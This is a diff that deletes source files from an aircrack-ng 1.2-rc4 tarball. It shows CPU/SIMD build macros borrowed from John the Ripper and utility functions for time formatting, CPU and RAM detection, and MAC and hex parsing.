-#if __AVX512F__ || JOHN_AVX512F
-#undef CPU_DETECT
-#define CPU_DETECT			1
-#define CPU_REQ				1
-#define CPU_REQ_AVX512F			1
-#undef CPU_NAME
-#define CPU_NAME			"AVX512F"
-#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
-#define CPU_FALLBACK_BINARY		"john-non-avx512f"
-#define CPU_FALLBACK_BINARY_DEFAULT
-#endif
-#endif
-
-#if __AVX512BW__ || JOHN_AVX512BW
-#undef CPU_DETECT
-#define CPU_DETECT			1
-#define CPU_REQ				1
-#define CPU_REQ_AVX512BW			1
-#undef CPU_NAME
-#define CPU_NAME			"AVX512BW"
-#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
-#define CPU_FALLBACK_BINARY		"john-non-avx512bw"
-#define CPU_FALLBACK_BINARY_DEFAULT
-#endif
-#endif
-
-#ifdef __XOP__
-#define JOHN_XOP			1
-#endif
-#if defined(__AVX__) || defined(JOHN_XOP) || defined(JOHN_AVX2)
-#define JOHN_AVX			1
-#endif
-
-#define DES_ASM				0
-#define DES_128K			0
-#define DES_X2				0
-#define DES_MASK			1
-#define DES_SCALE			1
-#define DES_EXTB			1
-#define DES_COPY			0
-#define DES_BS				1
-#if !defined(__SSE2__)
-#define DES_BS_VECTOR			0
-#define DES_BS_ALGORITHM_NAME		"DES 64/64"
-#elif defined(JOHN_AVX) && (defined(__GNUC__) || defined(_OPENMP))
-/*
- * Require gcc for AVX/XOP because DES_bs_all is aligned in a gcc-specific way,
- * except in OpenMP-enabled builds, where it's aligned by different means.
- */
-#undef CPU_DETECT
-#define CPU_DETECT			1
-#define CPU_REQ				1
-#define CPU_REQ_AVX			1
-#undef CPU_NAME
-#define CPU_NAME			"AVX"
-#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
-#define CPU_FALLBACK_BINARY		"john-non-avx"
-#define CPU_FALLBACK_BINARY_DEFAULT
-#endif
-#define DES_BS_ASM			0
-#if 0
-/* 512-bit as 2x256 */
-#define DES_BS_VECTOR			8
-#if defined(JOHN_XOP) && defined(__GNUC__)
-/* Require gcc for 256-bit XOP because of __builtin_ia32_vpcmov_v8sf256() */
-#undef DES_BS
-#define DES_BS				3
-#define DES_BS_ALGORITHM_NAME		"DES 256/256 X2 XOP-16"
-#else
-#define DES_BS_ALGORITHM_NAME		"DES 256/256 X2 AVX-16"
-#endif
-#elif 0
-/* 384-bit as 256+128 */
-#define DES_BS_VECTOR_SIZE		8
-#define DES_BS_VECTOR			6
-#if defined(JOHN_XOP) && defined(__GNUC__)
-/* Require gcc for 256-bit XOP because of __builtin_ia32_vpcmov_v8sf256() */
-#undef DES_BS
-#define DES_BS				3
-#define DES_BS_ALGORITHM_NAME		"DES 256/256 XOP-16 + 128/128 XOP-16"
-#else
-#define DES_BS_ALGORITHM_NAME		"DES 256/256 AVX-16 + 128/128 AVX-16"
-#endif
-#elif 0
-/* 384-bit as 256+64+64 */
-#define DES_BS_NO_AVX128
-#define DES_BS_VECTOR_SIZE		8
-#define DES_BS_VECTOR			6
-#define DES_BS_ALGORITHM_NAME		"DES 256/256 AVX-16 + 64/64 MMX + 64/64"
-#elif 0
-/* 320-bit as 256+64 MMX */
-#define DES_BS_VECTOR_SIZE		8
-#define DES_BS_VECTOR			5
-#define DES_BS_ALGORITHM_NAME		"DES 256/256 AVX-16 + 64/64 MMX"
-#elif 0
-/* 320-bit as 256+64 */
-#define DES_BS_NO_MMX
-#define DES_BS_VECTOR_SIZE		8
-#define DES_BS_VECTOR			5
-#define DES_BS_ALGORITHM_NAME		"DES 256/256 AVX-16 + 64/64"
-#elif __AVX2__ || JOHN_AVX2
-/* 256-bit as 1x256 */
-#define DES_BS_VECTOR			4
-#undef CPU_NAME
-#define CPU_NAME			"AVX2"
-#define CPU_DETECT			1
-#define CPU_REQ				1
-#define CPU_REQ_AVX2			1
-#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
-#define CPU_FALLBACK_BINARY		"john-non-avx2"
-#define CPU_FALLBACK_BINARY_DEFAULT
-#endif
-#define DES_BS_ALGORITHM_NAME		"DES 256/256 AVX2-16"
-#elif 0
-/* 256-bit as 2x128 */
-#define DES_BS_NO_AVX256
-#define DES_BS_VECTOR			4
-#ifdef JOHN_XOP
-#undef DES_BS
-#define DES_BS				3
-#define DES_BS_ALGORITHM_NAME		"DES 128/128 X2 XOP-16"
-#else
-#define DES_BS_ALGORITHM_NAME		"DES 128/128 X2 AVX-16"
-#endif
-#else
-/* 128-bit */
-#define DES_BS_VECTOR			2
-#ifdef JOHN_XOP
-#undef DES_BS
-#define DES_BS				3
-#define DES_BS_ALGORITHM_NAME		"DES 128/128 XOP-16"
-#else
-#define DES_BS_ALGORITHM_NAME		"DES 128/128 AVX-16"
-#endif
-#endif
-#elif (defined(__SSE2__) && defined(_OPENMP))
-#define DES_BS_ASM			0
-#if 1
-#define DES_BS_VECTOR			2
-#define DES_BS_ALGORITHM_NAME		"DES 128/128 SSE2-16"
-#elif 0
-#define DES_BS_VECTOR			3
-#define DES_BS_VECTOR_SIZE		4
-#define DES_BS_ALGORITHM_NAME		"DES 128/128 SSE2-16 + 64/64 MMX"
-#elif 0
-#define DES_BS_NO_MMX
-#define DES_BS_VECTOR			3
-#define DES_BS_VECTOR_SIZE		4
-#define DES_BS_ALGORITHM_NAME		"DES 128/128 SSE2-16 + 64/64"
-#elif 0
-#define DES_BS_NO_MMX
-#define DES_BS_VECTOR			4
-#define DES_BS_ALGORITHM_NAME		"DES 128/128 X2 SSE2-16"
-#else
-#define DES_BS_VECTOR			4
-#define DES_BS_ALGORITHM_NAME		"DES 128/128 SSE2-16 + 64/64 MMX + 64/64"
-#endif
-#else
-#define DES_BS_ASM			1
-#define DES_BS_VECTOR			2
-#define DES_BS_ALGORITHM_NAME		"DES 128/128 SSE2-16"
-#endif
-#define DES_BS_EXPAND			1
-
-#if CPU_DETECT && DES_BS == 3
-#define CPU_REQ_XOP			1
-#undef CPU_NAME
-#define CPU_NAME			"XOP"
-#ifdef CPU_FALLBACK_BINARY_DEFAULT
-#undef CPU_FALLBACK_BINARY
-#define CPU_FALLBACK_BINARY		"john-non-xop"
-#endif
-#endif
-
-#define MD5_ASM				0
-#define MD5_X2				1
-#define MD5_IMM				1
-
-#ifdef __GNUC__
-#define GCC_VERSION			(__GNUC__ * 10000 \
-			 + __GNUC_MINOR__ * 100 \
-			 + __GNUC_PATCHLEVEL__)
-#endif
-
-#ifdef __SSE2__
-
-#if __AVX512F__
-#define SIMD_COEF_32 16
-#define SIMD_COEF_64 8
-#elif __AVX2__
-#define SIMD_COEF_32 8
-#define SIMD_COEF_64 4
-#elif __SSE2__
-#define SIMD_COEF_32 4
-#define SIMD_COEF_64 2
-#elif __MMX__
-#define SIMD_COEF_32 2
-#define SIMD_COEF_64 1
-#endif
-
-/*
-#ifndef SIMD_PARA_MD4
-#if defined(__INTEL_COMPILER)
-#define SIMD_PARA_MD4			3
-#elif defined(__clang__)
-#define SIMD_PARA_MD4			4
-#elif defined(__llvm__)
-#define SIMD_PARA_MD4			3
-#elif defined(__GNUC__) && GCC_VERSION < 40405	// 4.4.5
-#define SIMD_PARA_MD4			1
-#elif defined(__GNUC__) && GCC_VERSION < 40500	// 4.5.0
-#define SIMD_PARA_MD4			3
-#elif defined(__GNUC__) && (GCC_VERSION < 40600 || defined(__XOP__)) // 4.6.0
-#define SIMD_PARA_MD4			2
-#else
-#define SIMD_PARA_MD4			3
-#endif
-#endif
-
-#ifndef SIMD_PARA_MD5
-#if defined(__INTEL_COMPILER)
-#define SIMD_PARA_MD5			3
-#elif defined(__clang__)
-#define SIMD_PARA_MD5			5
-#elif defined(__llvm__)
-#define SIMD_PARA_MD5			3
-#elif defined(__GNUC__) && GCC_VERSION == 30406	// 3.4.6
-#define SIMD_PARA_MD5			3
-#elif defined(__GNUC__) && GCC_VERSION < 40405	// 4.4.5
-#define SIMD_PARA_MD5			1
-#elif defined(__GNUC__) && GCC_VERSION < 40500	// 4.5.0
-#define SIMD_PARA_MD5			3
-#elif defined(__GNUC__) && (GCC_VERSION < 40600 || defined(__XOP__)) // 4.6.0
-#define SIMD_PARA_MD5			2
-#else
-#define SIMD_PARA_MD5			3
-#endif
-#endif
-*/
-#ifndef SIMD_PARA_SHA1
-#if defined(__INTEL_COMPILER)
-#define SIMD_PARA_SHA1			1
-#elif defined(__clang__)
-#define SIMD_PARA_SHA1			2
-#elif defined(__llvm__)
-#define SIMD_PARA_SHA1			2
-#elif defined(__GNUC__) && GCC_VERSION < 40504	// 4.5.4
-#define SIMD_PARA_SHA1			1
-#elif !defined(__AVX__) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0
-#define SIMD_PARA_SHA1			1
-#else
-#define SIMD_PARA_SHA1			1
-#endif
-#endif
-
-#ifndef SIMD_PARA_SHA256
-#if __XOP__
-#define SIMD_PARA_SHA256 2
-#else
-#define SIMD_PARA_SHA256 1
-#endif
-#endif
-#ifndef SIMD_PARA_SHA512
-#define SIMD_PARA_SHA512 1
-#endif
-
-#ifndef SHA1_SSE_PARA
-#if defined(__INTEL_COMPILER) || defined(USING_ICC_S_FILE)
-#define SHA1_SSE_PARA		   1
-//#define SHA1_N_STR		      "4x"
-#elif defined(__clang__)
-#define SHA1_SSE_PARA		   2
-//#define SHA1_N_STR		      "8x"
-#elif defined(__llvm__)
-#define SHA_BUF_SIZ		     80
-#define SHA1_SSE_PARA		   2
-//#define SHA1_N_STR		      "8x"
-#elif defined(__GNUC__) && GCC_VERSION < 40504  // 4.5.4
-#define SHA1_SSE_PARA		   1
-//#define SHA1_N_STR		      "4x"
-#elif !defined(JOHN_AVX) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0
-#define SHA1_SSE_PARA		   1
-//#define SHA1_N_STR		      "4x"
-#else
-#define SHA1_SSE_PARA			2
-//#define SHA1_N_STR			"8x"
-#endif
-#endif
-
-#define STR_VALUE(arg)			#arg
-#define PARA_TO_N(n)			STR_VALUE(n) "x"
-#define PARA_TO_MxN(m, n)		STR_VALUE(m) "x" STR_VALUE(n)
-
-#if SIMD_PARA_MD4 > 1
-#define MD4_N_STR			PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_MD4)
-#else
-#define MD4_N_STR			PARA_TO_N(SIMD_COEF_32)
-#endif
-#if SIMD_PARA_MD5 > 1
-#define MD5_N_STR			PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_MD5)
-#else
-#define MD5_N_STR			PARA_TO_N(SIMD_COEF_32)
-#endif
-#if SIMD_PARA_SHA1 > 1
-#define SHA1_N_STR			PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_SHA1)
-#else
-#define SHA1_N_STR			PARA_TO_N(SIMD_COEF_32)
-#endif
-#if SIMD_PARA_SHA256 > 1
-#define SHA256_N_STR		PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_SHA256)
-#else
-#define SHA256_N_STR		PARA_TO_N(SIMD_COEF_32)
-#endif
-#if SIMD_PARA_SHA512 > 1
-#define SHA512_N_STR		PARA_TO_MxN(SIMD_COEF_64, SIMD_PARA_SHA512)
-#else
-#define SHA512_N_STR		PARA_TO_N(SIMD_COEF_64)
-#endif
-
-#define SHA_BUF_SIZ			16
-
-#define NT_X86_64
-
-#ifndef SIMD_CORE
-#define MMX_TYPE			" SSE2"
-#define MMX_COEF			4
-#define MMX_COEF_SHA256			4
-#define MMX_COEF_SHA512			2
-#endif
-
-#endif /* __SSE2__ */
-
-#define BF_ASM				0
-#define BF_SCALE			1
-
-/*
- * 3x (as opposed to 2x) interleaving provides substantial speedup on Core 2
- * CPUs, as well as slight speedup on some other CPUs.  Unfortunately, it
- * results in lower cumulative performance with multiple concurrent threads or
- * processes on some newer SMT-capable CPUs.  While this has nothing to do with
- * AVX per se, building for AVX implies we do not intend to run on a Core 2
- * (which has at most SSE4.1), so checking for AVX here provides an easy way to
- * avoid this performance regression in AVX-enabled builds.  In multi-binary
- * packages with runtime fallbacks, the AVX-enabled binary would invoke a
- * non-AVX fallback binary from its john.c if run e.g. on a Core 2.  We could
- * check for SSE4.2 rather than AVX here, as SSE4.2 was introduced along with
- * SMT-capable Nehalem microarchitecture CPUs, but apparently those CPUs did
- * not yet exhibit the performance regression with 3x interleaving.  Besides,
- * some newer CPUs capable of SSE4.2 but not AVX happen to lack SMT, so will
- * likely benefit from the 3x interleaving with no adverse effects for the
- * multi-threaded case.
- *
- * In Jumbo, we may get BF_X2 from autoconf (after testing ht cpuid flag).
- */
-#ifndef BF_X2
-#if __AVX__ && HAVE_HT && _OPENMP
-#define BF_X2				1
-#else
-#define BF_X2				3
-#endif
-#endif
-
-#endif

aircrack-ng-1.2-rc4.tar.gz/src/common.c Deleted

@@ -1,569 +0,0 @@
-/*
- *  Common functions for all aircrack-ng tools
- *
- *  Copyright (C) 2006-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <dirent.h>
-#include <unistd.h>
-#include <ctype.h>
-#if defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__DragonFly__)
-#include <sys/sysctl.h>
-#include <sys/user.h>
-#endif
-#if (defined(_WIN32) || defined(_WIN64)) || defined(__CYGWIN32__)
-#include <io.h>
-#include <windows.h>
-#include <errno.h>
-#endif
-#define isHex(c) (hexToInt(c) != -1)
-#define HEX_BASE 16
-
-/*
- * The following function comes from jumbo.c from JTR.
- * It has the following license:
- *
- * This file is Copyright (c) 2013-2014 magnum, Lukasz and JimF,
- * and is hereby released to the general public under the
-following terms:
- * Redistribution and use in source and binary forms, with or
-without
- * modifications, are permitted.
-*/
-#if defined (__CYGWIN32__) && !defined(__CYGWIN64__)
-int fseeko64(FILE* fp, int64_t offset, int whence) {
-	fpos_t pos;
-
-	if (whence == SEEK_CUR) {
-		if (fgetpos (fp, &pos))
-			return (-1);
-
-		pos += (fpos_t) offset;
-	} else if (whence == SEEK_END) {
-		/* If writing, we need to flush before getting file length. */
-		long long size;
-
-		fflush (fp);
-		size = 0;
-
-		GetFileSizeEx((HANDLE)_get_osfhandle(fileno(fp)), (PLARGE_INTEGER)&size);
-		pos = (fpos_t) (size + offset);
-	} else if (whence == SEEK_SET)
-		pos = (fpos_t) offset;
-	else {
-		errno = EINVAL;
-		return (-1);
-	}
-
-	return fsetpos (fp, &pos);
-}
-
-int64_t ftello64(FILE * fp) {
-	fpos_t pos;
-
-	if (fgetpos(fp, &pos))
-		return  -1LL;
-
-	return (int64_t)pos;
-}
-#endif
-
-/*
- * Print the time and percentage in readable format
- */
-void calctime(time_t t, float perc) {
-	int days = 0, hours = 0, mins = 0, secs = 0, remain = 0, printed = 0;
-	char buf[8];
-
-	days    = t / 86400;
-	remain  = t % 86400;
-
-	hours   = remain / 3600;
-	remain  = remain % 3600;
-
-	mins    = remain / 60;
-	secs    = remain % 60;
-
-	if (days)
-		printed += printf("%d day%s, ", days, (days>1?"s":""));
-
-	if (hours)
-		printed += printf("%d hour%s, ", hours, (hours>1?"s":""));
-
-	if (mins)
-		printed += printf("%d minute%s, ", mins, (mins>1?"s":""));
-
-	snprintf(buf, sizeof(buf), "%3.2f%%", perc);
-
-	printed += printf("%d second%s", secs, (secs!=1?"s":""));
-
-	printf("%*s %s\n", (int)(47-(printed+strlen(buf)%5))," ", buf);
-}
-
-int is_string_number(const char * str)
-{
-	int i;
-	if (str == NULL) {
-		return 0;
-	}
-
-	if (*str != '-' && !(isdigit((int)(*str)))) {
-		return 0;
-	}
-
-	for (i = 1; str[i] != 0; i++) {
-		if (!isdigit((int)(str[i]))) {
-			return 0;
-		}
-	}
-
-	return 1;
-}
-
-int get_ram_size(void) {
-	int ret = -1;
-#if defined(__FreeBSD__)
-	int mib[] = { CTL_HW, HW_PHYSMEM };
-	size_t len;
-	unsigned long physmem;
-
-	len	= sizeof(physmem);
-
-	if (!sysctl(mib, 2, &physmem, &len, NULL, 0))
-		ret = (physmem/1024);	// Linux returns memory size in kB, so we want to as well.
-#elif defined(_WIN32) || defined(_WIN64)
-	MEMORYSTATUSEX statex;
-	statex.dwLength = sizeof(statex);
-
-	GlobalMemoryStatusEx(&statex);
-	ret = (int)(statex.ullTotalPhys/1024);
-#else
-	FILE *fp;
-	char str[256];
-	int val = 0;
-
-	if (!(fp = fopen("/proc/meminfo", "r"))) {
-		perror("fopen fails on /proc/meminfo");
-		return ret;
-	}
-
-	memset(str, 0x00, sizeof(str));
-	while ((fscanf(fp, "%s %d", str, &val)) != 0 && ret == -1) {
-		if (!(strncmp(str, "MemTotal", 8))) {
-			ret = val;
-		}
-	}
-
-	fclose(fp);
-#endif
-	return ret;
-}
-
-/* Return the version number */
-char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc)
-{
-	int len;
-	char * temp;
-	char * provis = calloc(1,20);
-	len = strlen(progname) + 200;
-	temp = (char *) calloc(1,len);
-
-	snprintf(temp, len, "%s %d.%d", progname, maj, min);
-
-	if (submin > 0) {
-		snprintf(provis, 20,".%d",submin);
-		strncat(temp, provis, len - strlen(temp));
-		memset(provis,0,20);
-	}
-
-	if (rc > 0) {
-		snprintf(provis, 20, " rc%d", rc);
-		strncat(temp, provis, len - strlen(temp));
-		memset(provis, 0, 20);
-	} else if (beta > 0) {
-		snprintf(provis, 20, " beta%d", beta);
-		strncat(temp, provis, len - strlen(temp));
-		memset(provis, 0, 20);
-	}
-
-	if (svnrev > 0) {
-		snprintf(provis, 20," r%d",svnrev);
-		strncat(temp, provis, len - strlen(temp));
-		memset(provis, 0, 20);
-	}
-
-	free(provis);
-	temp = realloc(temp, strlen(temp)+1);
-	return temp;
-}
-
-// Return the number of cpu. If detection fails, it will return -1;
-int get_nb_cpus()
-{
-        int number = -1;
-
-#if defined(_WIN32) || defined(_WIN64)
-	SYSTEM_INFO sysinfo = {0};
-
-	GetSystemInfo(&sysinfo);
-
-	number = sysinfo.dwNumberOfProcessors;
-#elif defined(__linux__)
-        char * s, * pos;
-        FILE * f;
-	// Reading /proc/cpuinfo is more reliable on current CPUs,
-	// so put it first and try the old method if this one fails
-        f = fopen("/proc/cpuinfo", "r");
-
-        if (f != NULL) {
-		s = (char *)calloc(1, 81);
-
-		if (s != NULL) {
-			// Get the latest value of "processor" element
-			// and increment it by 1 and it that value
-			// will be the number of CPU.
-			number = -2;
-
-			while (fgets(s, 80, f) != NULL) {
-				pos = strstr(s, "processor");
-
-				if (pos == s) {
-					pos = strchr(s, ':');
-					number = atoi(pos + 1);
-				}
-			}
-
-			++number;
-			free(s);
-		}
-
-		fclose(f);
-        }
-#elif defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__DragonFly__)
-// Not sure about defined(__DragonFly__) || defined(__NetBSD__) || defined(__OpenBSD__) || defined(__APPLE__)
-	int mib[] = { CTL_HW, HW_NCPU };
-	size_t len;
-	unsigned long nbcpu;
-
-	len     = sizeof(nbcpu);
-
-	if (!sysctl(mib, 2, &nbcpu, &len, NULL, 0)) {
-		number = (int)nbcpu;
-	}
-#endif
-
-        #ifdef _SC_NPROCESSORS_ONLN
-        // Try the usual method if _SC_NPROCESSORS_ONLN exist
-        if (number == -1) {
-		number   = sysconf(_SC_NPROCESSORS_ONLN);
-		/* Fails on some archs */
-		if (number < 1) {
-			number = -1;
-		}
-        }
-        #endif
-
-        return number;
-}
-
-
-//compares two MACs
-int maccmp(unsigned char *mac1, unsigned char *mac2)
-{
-    int i=0;
-
-    if(mac1 == NULL || mac2 == NULL)
-        return -1;
-
-    for(i=0; i<6; i++)
-    {
-        if( toupper(mac1[i]) != toupper(mac2[i]) )
-            return -1;
-    }
-    return 0;
-}
-
-// Converts a mac address in a human-readable format
-char * mac2string(unsigned char *mac_address )
-{
-	char * mac_string = (char *)malloc(sizeof(char)*18);
-	snprintf(mac_string, 18, "%02X:%02X:%02X:%02X:%02X:%02X", *mac_address,
-						*(mac_address+1), *(mac_address+2), *(mac_address+3),
-						*(mac_address+4), *(mac_address+5));
-	return mac_string;
-}
-
-/* Return -1 if it's not an hex value and return its value when it's a hex value */
-int hexCharToInt(unsigned char c)
-{
-	static int table_created = 0;
-	static int table[256];
-
-	int i;
-
-	if (table_created == 0)
-	{
-		/*
-		 * It may seem a bit long to calculate the table
-		 * but character position depend on the charset used
-		 * Example: EBCDIC
-		 * but it's only done once and then conversion will be really fast
-		 */
-		for (i=0; i < 256; i++)
-		{
-
-			switch ((unsigned char)i)
-			{
-				case '0':
-					table[i] = 0;
-					break;
-				case '1':
-					table[i] = 1;
-					break;
-				case '2':
-					table[i] = 2;
-					break;
-				case '3':
-					table[i] = 3;
-					break;
-				case '4':
-					table[i] = 4;
-					break;
-				case '5':
-					table[i] = 5;
-					break;
-				case '6':
-					table[i] = 6;
-					break;
-				case '7':
-					table[i] = 7;
-					break;
-				case '8':
-					table[i] = 8;
-					break;
-				case '9':
-					table[i] = 9;
-					break;
-				case 'A':
-				case 'a':
-					table[i] = 10;
-					break;
-				case 'B':
-				case 'b':
-					table[i] = 11;
-					break;
-				case 'C':
-				case 'c':
-					table[i] = 12;
-					break;
-				case 'D':
-				case 'd':
-					table[i] = 13;
-					break;
-				case 'E':
-				case 'e':
-					table[i] = 14;
-					break;
-				case 'F':
-				case 'f':
-					table[i] = 15;
-					break;
-				default:
-					table[i] = -1;
-			}
-		}
-
-		table_created = 1;
-	}
-
-	return table[c];
-}
-
-// in: input string
-// in_length: length of the string
-// out: output string (needs to be already allocated).
-// out_length: length of the array
-// returns amount of bytes saved to 'out' or -1 if an error happened
-int hexStringToArray(char* in, int in_length, unsigned char* out, int out_length)
-{
-    int i, out_pos;
-    int chars[2];
-
-    char *input=in;
-    unsigned char *output=out;
-
-    if (in_length < 2 || out_length < (in_length / 3) + 1 || input == NULL || output == NULL)
-    	return -1;
-
-    out_pos = 0;
-    for (i = 0; i < in_length - 1; ++i)
-    {
-		if(input[i] == '-' || input[i] == ':' || input[i] == '_' || input[i] == ' ' || input[i] == '.')
-		{
-			continue;
-		}
-		// Check output array is big enough
-    	if(out_pos >= out_length)
-		{
-			return -1;
-		}
-    	chars[0] = hexCharToInt(input[i]);
-        // If first char is invalid (or '\0'), don't bother continuing (and you really shouldn't).
-        if(chars[0] < 0 || chars[0] > 15)
-        	return -1;
-
-        chars[1] = hexCharToInt(input[++i]);
-        // It should always be a multiple of 2 hex characters with or without separator
-        if(chars[1] < 0 || chars[1] > 15)
-            return -1;
-        output[out_pos++] = ((chars[0] << 4) + chars[1]) & 0xFF;
-    }
-    return out_pos;
-}
-
-//Return the mac address bytes (or null if it's not a mac address)
-int getmac(char * macAddress, int strict, unsigned char * mac)
-{
-	char byte[3];
-	int i, nbElem, n;
-
-	if (macAddress == NULL)
-		return 1;
-
-	/* Minimum length */
-	if ((int)strlen(macAddress) < 12)
-		return 1;
-
-	memset(mac, 0, 6);
-	byte[2] = 0;
-	i = nbElem = 0;
-
-	while (macAddress[i] != 0)
-	{
-		if (macAddress[i] == '\n' || macAddress[i] == '\r')
-			break;
-
-		byte[0] = macAddress[i];
-		byte[1] = macAddress[i+1];
-
-		if (sscanf( byte, "%x", &n ) != 1
-			&& strlen(byte) == 2)
-			return 1;
-
-		if (hexCharToInt(byte[1]) < 0)
-			return 1;
-
-		mac[nbElem] = n;
-
-		i+=2;
-		nbElem++;
-
-		if (macAddress[i] == ':' || macAddress[i] == '-'  || macAddress[i] == '_')
-			i++;
-	}
-
-	if ((strict && nbElem != 6)
-		|| (!strict && nbElem > 6))
-		return 1;
-
-	return 0;
-}
-
-// Read a line of characters inputted by the user
-int readLine(char line[], int maxlength)
-{
-	int c;
-	int i = -1;
-
-	do
-	{
-		// Read char
-		c = getchar();
-
-		if (c == EOF)
-			c = '\0';
-
-		line[++i] = (char)c;
-
-		if (line[i] == '\n')
-			break;
-		if (line[i] == '\r')
-			break;
-		if (line[i] == '\0')
-			break;
-	}
-	while (i + 1 < maxlength);
-	// Stop at 'Enter' key pressed or EOF or max number of char read
-
-	// Return current size
-    return i;
-}
-
-int hexToInt(char s[], int len)
-{
-	int i = 0;
-	int convert = -1;
-	int value = 0;
-
-	// Remove leading 0 (and also the second char that can be x or X)
-
-	while (i < len)
-	{
-		if (s[i] != '0' || (i == 1 && toupper((int)s[i]) != 'X'))
-			break;
-
-		++i;
-	}
-
-	// Convert to hex
-
-	while (i < len)
-	{
-		convert = hexCharToInt((unsigned char)s[i]);
-
-		// If conversion failed, return -1
-		if (convert == -1)
-			return -1;
-
-		value = (value * HEX_BASE) + convert;
-
-		++i;
-	}
-
-
-	return value;
-}

aircrack-ng-1.2-rc4.tar.gz/src/common.h Deleted

@@ -1,88 +0,0 @@
-/* 
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston,
- * MA 02111-1307, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-#ifndef _COMMON_H_
-#define _COMMON_H_
-
-#if defined (__CYGWIN32__) && !defined(__CYGWIN64__)
-int fseeko64(FILE* fp, int64_t offset, int whence);
-int64_t ftello64(FILE * fp);
-#undef fseek
-#define fseek fseeko64
-#undef ftello
-#define ftello ftello64
-#endif
-
-#if defined(__FreeBSD__) || defined(__OpenBSD__)
-#undef rand
-#define rand lrand48
-#undef srand
-#define srand srand48
-#endif
-
-#include <time.h>
-
-#define SWAP(x,y) { unsigned char tmp = x; x = y; y = tmp; }
-
-#define SWAP32(x)       \
-    x = ( ( ( x >> 24 ) & 0x000000FF ) | \
-          ( ( x >>  8 ) & 0x0000FF00 ) | \
-          ( ( x <<  8 ) & 0x00FF0000 ) | \
-          ( ( x << 24 ) & 0xFF000000 ) );
-
-#define PCT { struct tm *lt; time_t tc = time( NULL ); \
-              lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", \
-              lt->tm_hour, lt->tm_min, lt->tm_sec ); }
-
-#ifndef MAX
-	#define MAX(x,y) ( (x)>(y) ? (x) : (y) )
-#endif
-
-#ifndef MIN
-	#define MIN(x,y) ( (x)>(y) ? (y) : (x) )
-#endif
-
-#ifndef ABS
-	#define ABS(a)          ((a)>=0?(a):(-(a)))
-#endif
-
-// For later use in aircrack-ng
-#define CPUID_MMX_AVAILABLE 1
-#define CPUID_SSE2_AVAILABLE 2
-#define CPUID_NOTHING_AVAILABLE 0
-
-#if defined(__i386__) || defined(__x86_64__)
-	#define CPUID() shasse2_cpuid()
-#else
-	#define CPUID() CPUID_NOTHING_AVAILABLE
-#endif
-
-void calctime(time_t t, float calc);
-
-#endif

aircrack-ng-1.2-rc4.tar.gz/src/cpuid.c Deleted

@@ -1,618 +0,0 @@
-/*
- * CPU/SIMD identification routines by Len White <lwhite@nrw.ca>
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- *
- */
-
-#define _GNU_SOURCE
-#include <stdlib.h>
-#include <errno.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <string.h>
-#if defined(__i386__) || defined(__x86_64__)
-	#define _X86           1
-	#include <cpuid.h>
-#elif defined(__arm__)
-	#ifdef HAS_AUXV
-		#include <sys/auxv.h>
-		#include <asm/hwcap.h>
-	#endif
-#endif /* __arm__ */
-#ifdef __linux__
-	#include <fcntl.h>
-	#include <sys/stat.h>
-	#include <linux/sysctl.h>
-#endif
